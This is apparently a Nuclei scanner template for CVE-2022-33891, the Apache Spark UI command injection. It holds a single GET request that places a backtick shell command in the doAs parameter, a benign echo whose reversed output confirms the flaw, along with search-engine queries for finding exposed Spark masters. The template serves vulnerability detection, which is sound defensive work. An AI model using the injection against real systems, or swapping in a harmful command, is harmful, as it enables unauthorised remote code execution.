id: CVE-2022-33891

info:
  name: Apache Spark UI - Remote Command Injection
  author: princechaddha
  severity: high
  description: |
    Apache Spark UI is susceptible to remote command injection. ACLs can be enabled via the configuration option spark.acls.enable. With an authentication filter, this checks whether a user has access permissions to view or modify the application. If ACLs are enabled, a code path in HttpSecurityFilter can allow impersonation by providing an arbitrary user name. An attacker can potentially reach a permission check function that will ultimately build a Unix shell command based on input and execute it, resulting in arbitrary shell command execution. Affected versions are 3.0.3 and earlier, 3.1.1 to 3.1.2, and 3.2.0 to 3.2.1.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the entire system.
  remediation: |
    Apply the latest security patches or updates provided by Apache Spark to fix the remote command injection vulnerability.
  reference:
    - https://github.com/W01fh4cker/cve-2022-33891
    - https://lists.apache.org/thread/p847l3kopoo5bjtmxrcwk21xp6tjxqlc
    - http://packetstormsecurity.com/files/168309/Apache-Spark-Unauthenticated-Command-Injection.html
    - https://nvd.nist.gov/vuln/detail/CVE-2022-33891
    - http://www.openwall.com/lists/oss-security/2023/05/02/1
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2022-33891
    cwe-id: CWE-78
    epss-score: 0.92984
    epss-percentile: 0.99817
    cpe: cpe:2.3:a:apache:spark:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: apache
    product: spark
    shodan-query:
      - title:"Spark Master at"
      - http.html:"/apps/imt/html/"
      - http.title:"spark master at"
    fofa-query:
      - body="/apps/imt/html/"
      - title="spark master at"
    google-query: intitle:"spark master at"
  tags: cve2022,cve,apache,spark,kev,packetstorm,vkev,vuln
variables:
  command: "echo CVE-2022-33891 | rev"

http:
  - method: GET
    path:
      - '{{BaseURL}}/?doAs=`{{url_encode("{{command}}")}}`'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "19833-2202-EVC"
# digest: 4b0a004830460221009cac50afb98fea79c5a1cb92b1662b33fdfb95756718a3c4384df35b67a9cc9b022100baa3b44cf26d617deeb86a56b363e29d6cc47d6b74ff1e9a10546b9f36bbf68d:922c64590222798bb761d5b6d8e72950